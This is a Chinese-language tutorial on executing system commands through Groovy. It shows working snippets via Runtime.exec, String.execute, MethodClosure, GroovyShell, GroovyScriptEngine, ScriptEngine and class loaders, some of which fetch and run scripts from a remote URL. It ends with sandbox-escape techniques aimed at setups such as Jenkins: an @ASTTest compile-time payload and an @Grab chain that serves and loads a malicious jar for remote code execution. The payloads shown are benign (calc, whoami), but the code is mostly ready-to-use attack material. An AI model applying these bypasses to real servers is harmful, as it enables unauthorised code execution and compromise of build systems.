Groovy命令执行指南
Groovy命令执行指南
本指南介绍了利用 Groovy脚本 执行系统命令、使用 MethodClosure、GroovyShell、GroovyScriptEngine 等多种方式执行方法。
直接命令执行
Groovy 允许直接在脚本中执行系统命令。
- 直接进行执行
groovyCopy code
// test.groovy
//其他执行命令执行的方法
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"
- 执行后,回显的方式
groovyCopy code
// test.groovy
println "whoami".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}"
使用 MethodClosure
MethodClosure 允许将方法封装成闭包,便于执行。
示例 1:使用 Runtime.getRuntime().exec
javaCopy code
// test.java
// 创建 MethodClosure 封装 exec 方法,并执行 calc 命令
MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
mc.call("calc");
示例 2:直接执行字符串命令
javaCopy code
// test.java
// 创建 MethodClosure 直接封装并执行字符串命令
MethodClosure mc = new MethodClosure("calc", "execute");
mc.call();
GroovyShell
GroovyShell 类用于执行 Groovy 脚本,支持多种数据源。
从字符串执行
javaCopy code
// test.java
// 使用 GroovyShell 从字符串执行 Groovy 代码
GroovyShell groovyShell = new GroovyShell();
String cmd = "\"whoami\".execute().text";
System.out.println(groovyShell.evaluate(cmd));
从文件执行
javaCopy code
// test.java
// 使用 GroovyShell 从文件执行 Groovy 脚本
GroovyShell groovyShell = new GroovyShell();
File file = new File("src/main/java/com/groovy/TestGroovyScript.groovy");
System.out.println(groovyShell.evaluate(file));
从 URI 执行
javaCopy code
// test.java
// 使用 GroovyShell 从 URI 执行 Groovy 脚本
GroovyShell groovyShell = new GroovyShell();
URI uri = new URI("http://127.0.0.1:8888/exp.groovy");
System.out.println(groovyShell.evaluate(uri));
GroovyScriptEngine
GroovyScriptEngine 用于从指定源加载和执行 Groovy 脚本。
从本地文件系统加载脚本
javaCopy code
// test.java
// 使用 GroovyScriptEngine 从本地文件系统加载并执行脚本
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/com/groovy");
scriptEngine.run("TestGroovyScript.groovy", "");
从远程 URL 加载脚本
javaCopy code
// test.java
// 使用 GroovyScriptEngine 从远程 URL 加载并执行脚本
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://127.0.0.1:8888/");
scriptEngine.run("exp.groovy", "");
GroovyScriptEvaluator
使用 GroovyScriptEvaluator 执行 Groovy 代码,支持 StaticScriptSource 和 ResourceScriptSource。
使用 StaticScriptSource
javaCopy code
// test.java
// 使用 StaticScriptSource 执行 Groovy 代码
GroovyScriptEvaluator groovyScriptEvaluator = new GroovyScriptEvaluator();
ScriptSource scriptSource = new StaticScriptSource("\"whoami\".execute().text");
System.out.println(groovyScriptEvaluator.evaluate(scriptSource));
使用 ResourceScriptSource
javaCopy code
// test.java
// 使用 ResourceScriptSource 从 URL 加载并执行 Groovy 脚本
Resource urlResource = new UrlResource("http://127.0.0.1:8888/exp.groovy");
ScriptSource source = new ResourceScriptSource(urlResource);
System.out.println(groovyScriptEvaluator.evaluate(source));
GroovyClassLoader
GroovyClassLoader 用于在 Java 中加载和调用 Groovy 类。
javaCopy code
// test.java
// 使用 GroovyClassLoader 加载并执行 Groovy 类
GroovyClassLoader classLoader = new GroovyClassLoader();
Class clazz = classLoader.parseClass("class Test {\n" +
" static void main(String[] args) {\n" +
" GroovyShell groovyShell = new GroovyShell();\n" +
" String cmd = \"\\\"whoami\\\".execute().text\";\n" +
" println(groovyShell.evaluate(cmd).toString());\n" +
" }\n" +
"}");
GroovyObject object = (GroovyObject) clazz.newInstance();
object.invokeMethod("main", "");
ScriptEngine
使用 javax.script.ScriptEngine 执行 Groovy 脚本。
javaCopy code
// test.java
// 使用 ScriptEngine 执行 Groovy 脚本并获取输出
ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");
System.out.println(scriptEngine.eval("\"whoami\".execute().text"));
Bypass 沙箱
某些环境下,会有groovy沙箱机制保护敏感脚本的执行(比如Jenkins中执行),这时候需要利用一些方法来绕过沙箱机制
@AST注解执行恶意类
使用@groovy.transform.ASTTest来进行沙箱绕过
//test.groovy
this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
assert Runtime.getRuntime().exec("calc")
})
def x
''')
注解的值是一个闭包,其中包含了恶意代码 Runtime.getRuntime().exec("calc"),该代码用于执行计算器程序。由于这段代码被注解标注,因此会在 AST 转换阶段被执行,绕过了沙箱的限制
@Grab注解加载远程恶意类
概述
Groovy的Grape机制允许开发者在不修改ClassPath的情况下,动态地引入Jar依赖。这可以通过使用@Grab注解实现,它指定了要下载和引入的库。然而,这个特性也可以被利用来动态地引入恶意代码,从而可能导致远程代码执行(RCE)。
环境准备
- 添加Ivy依赖:为了使Grape机制工作,需要向项目中添加Apache Ivy依赖。在项目的pom.xml中添加以下依赖项:
xmlCopy code
<dependency>
<groupId>org.apache.ivy</groupId>
<artifactId>ivy</artifactId>
<version>2.4.0</version>
</dependency>
- 编写恶意Exp类:创建一个名为Exp的Java类,其构造函数中包含要执行的恶意代码。例如,下面的代码尝试执行系统计算器:
javaCopy code
public class Exp {
public Exp() {
try {
java.lang.Runtime.getRuntime().exec("calc");
} catch (Exception e) { }
}
}
制作和部署恶意Jar包
- 编译Exp类:使用javac命令编译Exp.java文件。
bashCopy code
javac Exp.java
- 创建服务提供者配置文件:在META-INF/services/目录下创建一个服务提供者配置文件,指定Exp类作为org.codehaus.groovy.plugins.Runners的实现。
bashCopy code
mkdir -p META-INF/services/
echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners
- 打包Jar:将编译后的Exp.class文件和META-INF目录打包成Jar文件。
bashCopy code
jar cvf poc-0.jar Exp.class META-INF
- 部署Jar包:在Web服务器的根目录下创建test/poc/0/目录,并将打包好的Jar文件复制到该目录下。然后,启动HTTP服务以供远程访问。
#本目录下新建test/poc/0/
mkdir -p test/poc/0/
#复制jar包到目录中
#运行http服务器
python3 -m http.server 8000
利用@Grab注解执行RCE
编写Groovy脚本,使用@Grab注解和相关配置来动态加载并执行远程Jar包中的Exp类:
groovyCopy code
this.class.classLoader.parseClass('''
@GrabConfig(disableChecksums=true)
@GrabResolver(name='Exp', root='http://127.0.0.1:8000/')
@Grab(group='test', module='poc', version='0')
import Exp;
''')
执行过程
当运行上述Groovy脚本时,它会动态地从指定的HTTP服务下载并加载poc-0.jar,进而导入并实例化Exp类。由于Exp类的构造函数中包含了执行系统命令的代码,这将触发远程代码执行(RCE)。